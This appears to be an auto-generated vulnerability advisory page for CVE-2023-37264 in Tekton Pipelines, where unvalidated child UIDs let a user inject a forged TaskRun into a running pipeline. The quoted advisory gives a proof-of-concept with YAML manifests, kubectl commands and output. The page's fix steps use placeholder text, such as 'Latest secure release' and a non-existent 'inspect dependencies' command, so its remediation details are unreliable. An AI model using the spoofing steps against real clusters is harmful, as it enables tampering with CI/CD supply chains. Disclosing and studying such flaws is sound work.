CVE-2023-37264: Github.com/tektoncd/pipeline Pipelines Do Not Validate Child Vulnerability

LOW
Advisory Identifier: GHSA-w2h3-vvvq-3m53
CVSS 3.7
CWE-345
Published
Advisory Summary

CVE-2023-37264 is a LOW (CVSS 3.7) pipelines do not validate child vulnerability (CWE-345: Insufficient Verification of Data Authenticity) affecting Github.com/tektoncd/pipeline libraries in the Go ecosystem. The issue involves pipelines do not validate child uids. Remediation is available in the latest vendor maintenance releases.

CVE-2023-37264 at a Glance

CVE Identifier CVE-2023-37264
GHSA Identifier GHSA-w2h3-vvvq-3m53
Severity LOW
CVSS v3.1 Base Score 3.7
CWE Classification CWE-345: Insufficient Verification of Data Authenticity
Affected Product Github.com/tektoncd/pipeline
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 3.7

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:N).

Attack Vector Network (AV:N)
Attack Complexity High (AC:H)
Privileges Required Low (PR:L)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality Low (C:L)
Integrity Low (I:L)
Availability None (A:N)

How to Fix CVE-2023-37264

To remediate this vulnerability, upgrade all affected Github.com/tektoncd/pipeline dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/tektoncd/pipeline fixed: Latest secure release
Upgrade github.com/tektoncd/pipeline to Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/tektoncd/pipeline

How to Check if You Are Affected

To determine whether your application is affected by CVE-2023-37264, inspect your project dependencies for Github.com/tektoncd/pipeline:

inspect dependencies for github.com/tektoncd/pipeline

Analyze the terminal output to locate any version of Github.com/tektoncd/pipeline in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-345: Insufficient Verification of Data Authenticity, where the product does not sufficiently verify the origin or authenticity of data, in a way that causes it to accept invalid data. In Github.com/tektoncd/pipeline, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary Pipelines do not validate child UIDs, which means that a user that has access to create TaskRuns can create their own Tasks that the Pipelines controller will accept as the child Task. We should add UID to PipelineRun status and validate that child Run status/results only come from Runs matching the same UID. ### Details While we [store and validate the PipelineRun's (api version, kind, name, uid) in the child Run's OwnerReference](https://github.com/tektoncd/pipeline/blob/2d38f5fa840291395178422d34b36b1bc739e2a2/pkg/reconciler/pipelinerun/pipelinerun.go#L1358-L1372), we only store (api version, kind, name) in the [ChildStatusReference](https://pkg.go.dev/github.com/tektoncd/pipeline/pkg/apis/pipeline/v1beta1#ChildStatusReference) . This means that if a client had access to create TaskRuns on a cluster, they could create a child TaskRun for a pipeline with the same name + owner reference, and the Pipeline controller picks it up as if it was the original TaskRun. This is problematic since it can let users modify the config of Pipelines at runtime, which violates SLSA L2 Service Generated / Non-falsifiable requirements. I believe this is also true for [TaskRuns -> Pods since it looks like we only lookup by name](https://github.com/tektoncd/pipeline/blob/0b8349b770a76877051c9c790c94bf9ed897c75c/test/pipelinerun_test.go#L992), though I haven't tested this. If you have update permissions on tekton resources, you could also perform a similar bypass like this (because it's difficult to distinguish this from a Task retry). For now, I think relying on RBAC is fine and treat update as a privileged role (though we should perhaps update docs to stress this). Create is the most problematic for now. SPIFFE/SPIRE might be able to help with ensuring that only the controller can modify state long term (e.g. sign the expected UIDs?) ### PoC ```yaml apiVersion: [tekton.dev/v1beta1](http://tekton.dev/v1beta1) kind: PipelineRun metadata: name: hello-pr spec: pipelineSpec: tasks: - name: task1 taskSpec: steps: - name: echo image: [distroless.dev/alpine-base](http://distroless.dev/alpine-base) script: | sleep 60 - name: task2 runAfter: [task1] taskSpec: steps: - name: echo image: [distroless.dev/alpine-base](http://distroless.dev/alpine-base) script: | echo "asdf" > $(results.foo.path) results: - name: foo results: - name: foo value: $(tasks.task2.results.foo) ``` Once this is running, grab the PR UID: ```sh $ k get pr hello-pr -o json | jq .metadata.uid -r ``` While pipeline is running task 1, start fake task 2: ```yaml apiVersion: [tekton.dev/v1beta1](http://tekton.dev/v1beta1) kind: TaskRun metadata: annotations: labels: [app.kubernetes.io/managed-by](http://app.kubernetes.io/managed-by): tekton-pipelines [tekton.dev/memberOf](http://tekton.dev/memberOf): tasks [tekton.dev/pipeline](http://tekton.dev/pipeline): hello-pr [tekton.dev/pipelineRun](http://tekton.dev/pipelineRun): hello-pr [tekton.dev/pipelineTask](http://tekton.dev/pipelineTask): task2 name: hello-pr-task2 namespace: default ownerReferences: - apiVersion: [tekton.dev/v1beta1](http://tekton.dev/v1beta1) blockOwnerDeletion: true controller: true kind: PipelineRun name: hello-pr uid: af549647-4532-468b-90c5-29122a408f8d <--- this should be UID of PR fetched in last step spec: serviceAccountName: default taskSpec: results: - name: foo type: string steps: - image: [distroless.dev/alpine-base](http://distroless.dev/alpine-base) name: echo resources: {} script: | echo "zxcv" > $(results.foo.path) ``` Get pipeline results - it shows the output of the 2nd injected TaskRun ``` $ k get pr -o json hello-pr | jq .status.pipelineResults [ { "name": "foo", "value": "zxcv\n" } ] ``` ### Impact This can be used to trick the Pipeline controller into associating unrelated Runs to the Pipeline, feeding its data through the rest of the Pipeline. This requires access to create TaskRuns, so impact may vary depending on your Tekton setup. **If users already have unrestricted access to create any Task/PipelineRun, this does not grant any additional capabilities**. Worst case example would be a supply chain attack where a malicious TaskRun triggered from Triggers/Workflows intercepts and replaces a task in a trusted Pipeline.

CVE-2023-37264 Affected Github.com/tektoncd/pipeline Versions

1 component(s)
Product / Package Ecosystem Affected Versions Fixed Version
github.com/tektoncd/pipeline
Go
≥ 0.35.0
≤ 0.52.0

References

Frequently Asked Questions

What is CVE-2023-37264?
CVE-2023-37264 is a security vulnerability in Github.com/tektoncd/pipeline involving Pipelines do not validate child UIDs under CWE-345: Insufficient Verification of Data Authenticity.
Which Github.com/tektoncd/pipeline versions are affected?
Affected versions include releases prior to current release patches across affected packages: github.com/tektoncd/pipeline.
What version fixes CVE-2023-37264?
Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/tektoncd/pipeline affected?
Yes, github.com/tektoncd/pipeline is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What is the CVSS score of CVE-2023-37264?
CVE-2023-37264 has a CVSS v3.1 base score of 3.7 (LOW) with vector string CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:N.
What CWE is associated with CVE-2023-37264?
CVE-2023-37264 is classified under CWE-345: Insufficient Verification of Data Authenticity (The product does not sufficiently verify the origin or authenticity of data, in a way that causes it to accept invalid data.).
How can I check Go dependencies for CVE-2023-37264?
Run the dependency tree command: 'inspect dependencies for github.com/tektoncd/pipeline'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-w2h3-vvvq-3m53",
  "modified" : "2023-07-07T18:46:19Z",
  "published" : "2023-07-07T18:46:19Z",
  "aliases" : [ "CVE-2023-37264" ],
  "summary" : "Pipelines do not validate child UIDs",
  "details" : "### Summary\nPipelines do not validate child UIDs, which means that a user that has access to create TaskRuns can create their own Tasks that the Pipelines controller will accept as the child Task.\n\nWe should add UID to PipelineRun status and validate that child Run status/results only come from Runs matching the same UID. \n\n### Details\nWhile we [store and validate the PipelineRun's (api version, kind, name, uid) in the child Run's OwnerReference](https://github.com/tektoncd/pipeline/blob/2d38f5fa840291395178422d34b36b1bc739e2a2/pkg/reconciler/pipelinerun/pipelinerun.go#L1358-L1372), we only store (api version, kind, name) in the [ChildStatusReference](https://pkg.go.dev/github.com/tektoncd/pipeline/pkg/apis/pipeline/v1beta1#ChildStatusReference) .\n\nThis means that if a client had access to create TaskRuns on a cluster, they could create a child TaskRun for a pipeline with the same name + owner reference, and the Pipeline controller picks it up as if it was the original TaskRun. This is problematic since it can let users modify the config of Pipelines at runtime, which violates SLSA L2 Service Generated / Non-falsifiable requirements.\n\nI believe this is also true for [TaskRuns -> Pods since it looks like we only lookup by name](https://github.com/tektoncd/pipeline/blob/0b8349b770a76877051c9c790c94bf9ed897c75c/test/pipelinerun_test.go#L992), though I haven't tested this.\n\nIf you have update permissions on tekton resources, you could also perform a similar bypass like this (because it's difficult to distinguish this from a Task retry). For now, I think relying on RBAC is fine and treat update as a privileged role (though we should perhaps update docs to stress this). Create is the most problematic for now. SPIFFE/SPIRE might be able to help with ensuring that only the controller can modify state long term (e.g. sign the expected UIDs?)\n\n### PoC\n\n```yaml\napiVersion: [tekton.dev/v1beta1](http://tekton.dev/v1beta1)\nkind: PipelineRun\nmetadata:\n  name: hello-pr\nspec:\n  pipelineSpec:\n    tasks:\n      - name: task1\n        taskSpec:\n          steps:\n            - name: echo\n              image: [distroless.dev/alpine-base](http://distroless.dev/alpine-base)\n              script: |\n                sleep 60\n      - name: task2\n        runAfter: [task1]\n        taskSpec:\n          steps:\n            - name: echo\n              image: [distroless.dev/alpine-base](http://distroless.dev/alpine-base)\n              script: |\n                echo \"asdf\" > $(results.foo.path)\n          results:\n            - name: foo\n    results:\n      - name: foo\n        value: $(tasks.task2.results.foo)\n```\n\nOnce this is running, grab the PR UID:\n\n```sh\n$ k get pr hello-pr -o json | jq .metadata.uid -r\n```\n\nWhile pipeline is running task 1, start fake task 2:\n\n```yaml\napiVersion: [tekton.dev/v1beta1](http://tekton.dev/v1beta1)\nkind: TaskRun\nmetadata:\n  annotations:\n  labels:\n    [app.kubernetes.io/managed-by](http://app.kubernetes.io/managed-by): tekton-pipelines\n    [tekton.dev/memberOf](http://tekton.dev/memberOf): tasks\n    [tekton.dev/pipeline](http://tekton.dev/pipeline): hello-pr\n    [tekton.dev/pipelineRun](http://tekton.dev/pipelineRun): hello-pr\n    [tekton.dev/pipelineTask](http://tekton.dev/pipelineTask): task2\n  name: hello-pr-task2\n  namespace: default\n  ownerReferences:\n  - apiVersion: [tekton.dev/v1beta1](http://tekton.dev/v1beta1)\n    blockOwnerDeletion: true\n    controller: true\n    kind: PipelineRun\n    name: hello-pr\n    uid: af549647-4532-468b-90c5-29122a408f8d <--- this should be UID of PR fetched in last step\nspec:\n  serviceAccountName: default\n  taskSpec:\n    results:\n    - name: foo\n      type: string\n    steps:\n    - image: [distroless.dev/alpine-base](http://distroless.dev/alpine-base)\n      name: echo\n      resources: {}\n      script: |\n        echo \"zxcv\" > $(results.foo.path)\n```\n\nGet pipeline results - it shows the output of the 2nd injected TaskRun\n\n```\n$ k get pr -o json hello-pr | jq .status.pipelineResults\n[\n  {\n    \"name\": \"foo\",\n    \"value\": \"zxcv\\n\"\n  }\n]\n```\n\n### Impact\n\nThis can be used to trick the Pipeline controller into associating unrelated Runs to the Pipeline, feeding its data through the rest of the Pipeline. This requires access to create TaskRuns, so impact may vary depending on your Tekton setup. **If users already have unrestricted access to create any Task/PipelineRun, this does not grant any additional capabilities**.\n\nWorst case example would be a supply chain attack where a malicious TaskRun triggered from Triggers/Workflows intercepts and replaces a task in a trusted Pipeline.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/tektoncd/pipeline"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0.35.0"
      }, {
        "last_affected" : "0.52.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/tektoncd/pipeline/security/advisories/GHSA-w2h3-vvvq-3m53"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2023-37264"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/tektoncd/pipeline"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/tektoncd/pipeline/blob/2d38f5fa840291395178422d34b36b1bc739e2a2/pkg/reconciler/pipelinerun/pipelinerun.go#L1358-L1372"
  }, {
    "type" : "WEB",
    "url" : "https://pkg.go.dev/github.com/tektoncd/pipeline/pkg/apis/pipeline/v1beta1#ChildStatusReference"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-345" ],
    "severity" : "LOW",
    "github_reviewed" : true,
    "github_reviewed_at" : "2023-07-07T18:46:19Z",
    "nvd_published_at" : "2023-07-07T17:15:10Z"
  }
}